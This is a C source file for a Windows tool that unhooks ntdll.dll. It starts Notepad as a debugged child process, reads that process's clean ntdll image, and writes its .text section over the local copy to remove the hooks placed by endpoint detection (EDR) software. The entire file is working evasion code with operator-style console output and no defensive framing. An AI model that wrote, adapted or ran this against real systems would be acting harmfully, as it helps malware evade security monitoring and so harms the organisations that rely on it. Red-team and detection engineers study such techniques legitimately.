NTDLL-Unhooking-SuspendedProcess

NTDLL-Unhooking-SuspendedProcess

NTDLL-Unhooking-Suspended-Process.c

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>

// Retrieve base address ntdll.dll image
PVOID FetchLocalNTDLLBaseAddr() {

	// Checks if its x64 or x32 bit compiled
#ifdef _WIN64
	PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
	PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64

	// This struct contains loaded modules for the loaded process
	PLDR_DATA_TABLE_ENTRY	pLDTE = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);

	return pLDTE->DllBase;
}

// Get size of local ntdll.dll image
// pNtdllModule Base address of the ntdll module in current process
SIZE_T GetNtdllSize(_In_ PBYTE pNtdllModule) {

	// Retrieve DOS Header
	PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
		return NULL;
	}

	// NT header offset is stored in DOS header
	PIMAGE_NT_HEADERS pImgNtHdr = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
	if (pImgNtHdr->Signature != IMAGE_NT_SIGNATURE) {
		return NULL;
	}

	// Return total size of the PE image in memory
	return pImgNtHdr->OptionalHeader.SizeOfImage;

}

// Create suspended process from there read ntdll
// lpProcess -> Executable name to spawn
// ppNtdllAddr -> Output pointer to receive the allocated ntdll image
BOOL ReadNtdllSuspendedProcess(_In_ LPCSTR lpProcessName, _Out_ PVOID* ppNtdllAddr) {

	// Initilize variables
	CHAR	cWinPath[MAX_PATH / 2] = { 0 };
	CHAR	cProcessPath[MAX_PATH] = { 0 };
	PVOID	pNtdllModule = FetchLocalNTDLLBaseAddr();
	PBYTE	pNtdllBuff = 0;
	SIZE_T	sNtdllSize, sNumOfBytesRead = 0;

	STARTUPINFO Si = { 0 };
	PROCESS_INFORMATION Pi = { 0 };

	// Make sure Si & Pi are empty (filled with 0's)
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Initilize size for struct of Startupinfo
	Si.cb = sizeof(STARTUPINFO);

	// Get Windows directory
	if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
		printf("[!] GetWindowsDirectoryA Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	// Build full path to executable (e.g., C:\Windows\System32\notepad.exe)
	sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);

	// Create process in suspended state with DEBUG_PROCESS flag
	if (!CreateProcessA(NULL, cProcessPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
		printf("[!] CreateProcessA Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	printf("[+] Suspended Process Has Been Created With PID: %d \n", Pi.dwProcessId);
	
	// Get ntdll size from the LOCAL process
	sNtdllSize = GetNtdllSize((PBYTE)pNtdllModule);
	if (!sNtdllSize) {
		goto _CleanUp;
	}

	// Allocate heap memory to store the remote ntdll
	pNtdllBuff = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
	if (!pNtdllBuff) {
		goto _CleanUp;
	}

	// Read ntdll.dll from suspended child process into local buffer
	if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuff, sNtdllSize, &sNumOfBytesRead) || sNumOfBytesRead != sNtdllSize) {
		printf("[!] ReadProcessMemory Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	*ppNtdllAddr = pNtdllBuff;
	
	printf("[#] Press <Enter> To Terminate The Child Process ... ");
	getchar();

	// Detach debugger and terminate child process
	if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
		printf("[+] DebugActiveProcess & TerminateProcess Executed Secessfully! \n");
	}
	else
		printf("[!] DebugActiveProcess or TerminateProcess Failed \n");


_CleanUp:
	if (Pi.hProcess)
		CloseHandle(Pi.hProcess);
	if (Pi.hThread)
		CloseHandle(Pi.hThread);
	if (*ppNtdllAddr == NULL)
		return FALSE;
	else
		return TRUE;

};

// Overwrites the.text section of the locally loaded(hooked) ntdll with the.text section from a clean, unhooked copy of ntdll
// pUnhookedNtdll -> Base address of a clean ntdll mapping we loaded manually
BOOL ReplaceTextSection(_In_ PVOID pUnhookedNtdll) {

	// This is the one the EDR has sunk its hooks into.
	PVOID pLocalNtdll = (PVOID)FetchLocalNTDLLBaseAddr();

	// Getting the dos header
	PIMAGE_DOS_HEADER	pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
	if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	// Getting the nt headers
	PIMAGE_NT_HEADERS pLocalNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
	if (pLocalNtHdr->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;

	PVOID pLocalNtdllTxt = NULL, pRemoteNtdllTxt = NULL;

	// Will hold the virtual size of the .text section — how many bytes to copy
	SIZE_T sNtdllTxt = NULL;

	// Getting Text section
	PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pLocalNtHdr);

	for (int i = 0; i < pLocalNtHdr->FileHeader.NumberOfSections; i++) {

		if ((*(ULONG*)pSectionHdr[i].Name | 0x20202020) == 'xet.') {
			// Compute the absolute VA of .text in the hooked ntdll
			pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHdr[i].VirtualAddress);

			// Same RVA, different base — locates .text in our clean unhooked copy
			pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHdr[i].VirtualAddress);

			// VirtualSize is the actual in-memory byte size of the section
			sNtdllTxt = pSectionHdr[i].Misc.VirtualSize;

			break;
		}
	}

	printf("[+] Hooked Ntdll Address: 0x%p \n", pLocalNtdll);
	printf("[+] Unhooked Ntdll Address: 0x%p \n", pUnhookedNtdll);

	// Verify variables are filled 
	if (!pLocalNtdll || !pRemoteNtdllTxt || !sNtdllTxt)
		return FALSE;

	printf("[+] Updating Text Section! \n");
	
	DWORD OldProtect = 0;

	// Updating permissions
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxt, PAGE_EXECUTE_WRITECOPY, &OldProtect)) {
		printf("[!] VirtualProtect Failed: %d \n", GetLastError());
		return FALSE;
	}

	// Update Text section with unhooked ntdll
	memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxt);

	// Restore permissions
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxt, OldProtect, &OldProtect)) {
		printf("[!] VirtualProtect Failed: %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;


}


int main() {
	PVOID pNtdll = NULL;

	printf("[+] Fetch a new ntdll.dll from suspended process! \n");

	if (!ReadNtdllSuspendedProcess("Notepad.exe", &pNtdll))
		return -1;
	

	if (!ReplaceTextSection(pNtdll))
		return -1;

	HeapFree(GetProcessHeap(), 0, pNtdll);

	printf("[+] Unhooking NTDLL Successfully! \n");
	printf("[+] Press <Enter> To Exit! \n");
	getchar();

	return 0;


}